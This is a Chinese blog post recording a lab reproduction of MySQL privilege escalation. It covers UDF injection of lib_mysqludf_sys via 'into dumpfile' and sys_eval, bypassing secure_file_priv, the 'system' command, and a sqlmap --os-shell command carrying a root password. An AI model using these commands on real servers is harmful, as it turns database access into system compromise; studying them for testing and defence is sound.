美文网首页
mysql的提权的四种方案

mysql的提权的四种方案

作者: 喵了个咪0 | 来源:发表于2018-12-03 19:54 被阅读0次

mysql的提权原理就是让mysql能够执行系统命令,

而对与mysql的提权主要分为两种:MOF提权和UDF提权

第一种:

参考文献:

https://www.cnblogs.com/zhuyp1015/p/3561470.html

https://www.cnblogs.com/mmx8861/p/9062363.html

https://www.cnblogs.com/ghc666/p/8609067.html

https://www.jianshu.com/p/83855733c749

http://vinc.top/2017/04/19/mysql-udf提权linux平台/

https://blog.csdn.net/qq_28921653/article/details/54174341

1实验环境:

ubuntu 18.04tl

首相需要安装mysql,在ubuntu上按装挺简单的的,只需要几个命令就ok了,顺便记一下mysql的密码修改。

sudo apt-get update

sudo apt-get install mysql-server

apt-get install mysql-client

sudo apt-get install libmysqlclient-dev

myslq

set password for root@localhost = password('密码'); 

现在mysql就安装成功了,接下来就是关于mysql的提权问题

若mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

若mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\

这里我用的是ubuntu进行复现的,mysql版本>5.2

下载lib_mysqludf_sys程序

github:https://github.com/mysqludf/lib_mysqludf_sys

编译获取lib_mysqludf_sys.so文件

$ gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果出现缺少文件的报错

$ sudo apt-get install libmysql++-dev

网上说的可以直接在linux里下载,但是在实验中,缺出现了不知名的错误,我才用的是在windows 里下载解压,然后在传上去

先查看需要插入的路径

mysql> show variables like '%plugin%';

将下载的lib_mysqludf_sys.so文件以16进制写入到plugin_dir路径中,但是ubuntu有一个安全路径,只能写到那个里面,要是调用的话只能是在plugin这个路径下调用,所以直接复制粘贴进去了

mysql> select unhex('7F454C************此处省略n个字9*****') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';

(详情请见https://www.jianshu.com/p/83855733c749)

此时出现一个问题:

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

经查询后发现,mysql 默认对导出的目录有权限限制,也就是说使用命令行进行导出的时候,需要指定目录进行操作,

https://blog.csdn.net/u011677147/article/details/64129606

https://blog.csdn.net/HHTNAN/article/details/78520511

我们执行

show global variables like '%secure%';

发现

secure_file_priv这个参数用来限制数据导入和导出操作的效果

如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

而我们查看ubuntu的/usr/lib,发现没有该文件,也就是文件为空,所以我们要修改这个值,这也就意味这在mysql 版本为5.7.6 版本后,若管理员未设置该值时,我们就不能进行导入和导出操作。若是挖洞碰见这个了,目前以我的水平估计就到此位置了。

有位大佬是这样解决这个问题的,当然我按照这个没有解决,由于这一步的原理就是将那个lib_mysqludf_sys.so重命名写入/usr.lib/mysql/plugin 路径下的,我就直接将文件粘贴过去了

secure_file_priv

  1、限制mysqld 不允许导入 | 导出

    mysqld –secure_file_prive=null

  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

    mysqld –secure_file_priv=/tmp/

  3、不对mysqld 的导入 | 导出做限制

cat /etc/my.cnf

    [mysqld]

    secure_file_priv 

当然了,现在修改这个参数

修改/etc/mysql/mysql.conf.d/mysqld.cnf文件

在末尾添加一句secure_file_priv=即可将数据导出到任意目录

执行第二步

创建需要用的函数

mysql> create function sys_eval returns string soname 'mysqludf.so';

调用函数

mysql> select sys_eval('whoami');

删除函数

mysql> drop function sys_eval;

查看当前用户权限:select * from mysql.user where user=substring_index(user(),'@',1);

@@version_compile_os展示MySQL结构,@@ version_compile_machine展示操作系统的结构:select @@version_compile_os, @@version_compile_machine;

限制条件:

1)mysql root账号弱口令

2)mysql启动账户需要有插件目录的写入权限,例如yum安装的mysql

[root@template tmp]# ls -ald /usr/lib64/mysql/plugin

drwxr-xr-x. 2 root root 4096 4月  25 08:33 /usr/lib64/mysql/plugin

而mysql的默认启动账户是mysql,是没有写入权限的。

第二种方法:

另外MySQL 5.x中增加了system命令,可以直接执行系统命令。

mysql> system whoami;

第三种方法:

(1)sqlmap通过root的账号和密码连接上远程的数据库

(2)sqlmap将udf文件夹下对应系统平台的64位或者32位的动态链接库文件上传到远程数据库的mysql/plugin/目录下

(3)sqlmap用过已经上传的动态链接库文件来调用system函数来执行用户输入的命令

root@kali:~# sqlmap -d "mysql://root:Hehe123456@192.168.192.120:3306/test" --os-shell

剩下的就是输入命令了

第四种:

MOF提权

暂时不会,相关链接:http://www.cnblogs.com/R4v3n/articles/9025499.html

日后会跟新

相关文章

  • mysql的提权的四种方案

    mysql的提权原理就是让mysql能够执行系统命令,而对与mysql的提权主要分为两种:MOF提权和UDF提权第...

  • 17.提权

    提权方法:溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方...

  • Linux提权

    简单概述Linux的几种提权的办法。 内核溢出提权 mysql udf提权 上传库文件 执行库文件创建命令执行函数...

  • Mysql提权

    mysql提权基础  mysql通常在php语言中用的比较多 连接数据库的文件名一般为conn.php、confi...

  • Mysql 提权

    Mysql 安装 以 Centos 7 为例 wget下载安装包 wget http://repo.mysql.c...

  • 【提权】MySQL提权之MOF

    0x01 前言 Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件: ...

  • 【提权】MySQL提权之UDF

    0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。...

  • mysql提权之mof提权

    拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权 首先介绍mof提权,直...

  • mysql提权之udf提权

    提权的前提 mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下...

  • MYSQL提权总结

    最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导...

网友评论

      本文标题:mysql的提权的四种方案

      本文链接:https://www.haomeiwen.com/subject/admecqtx.html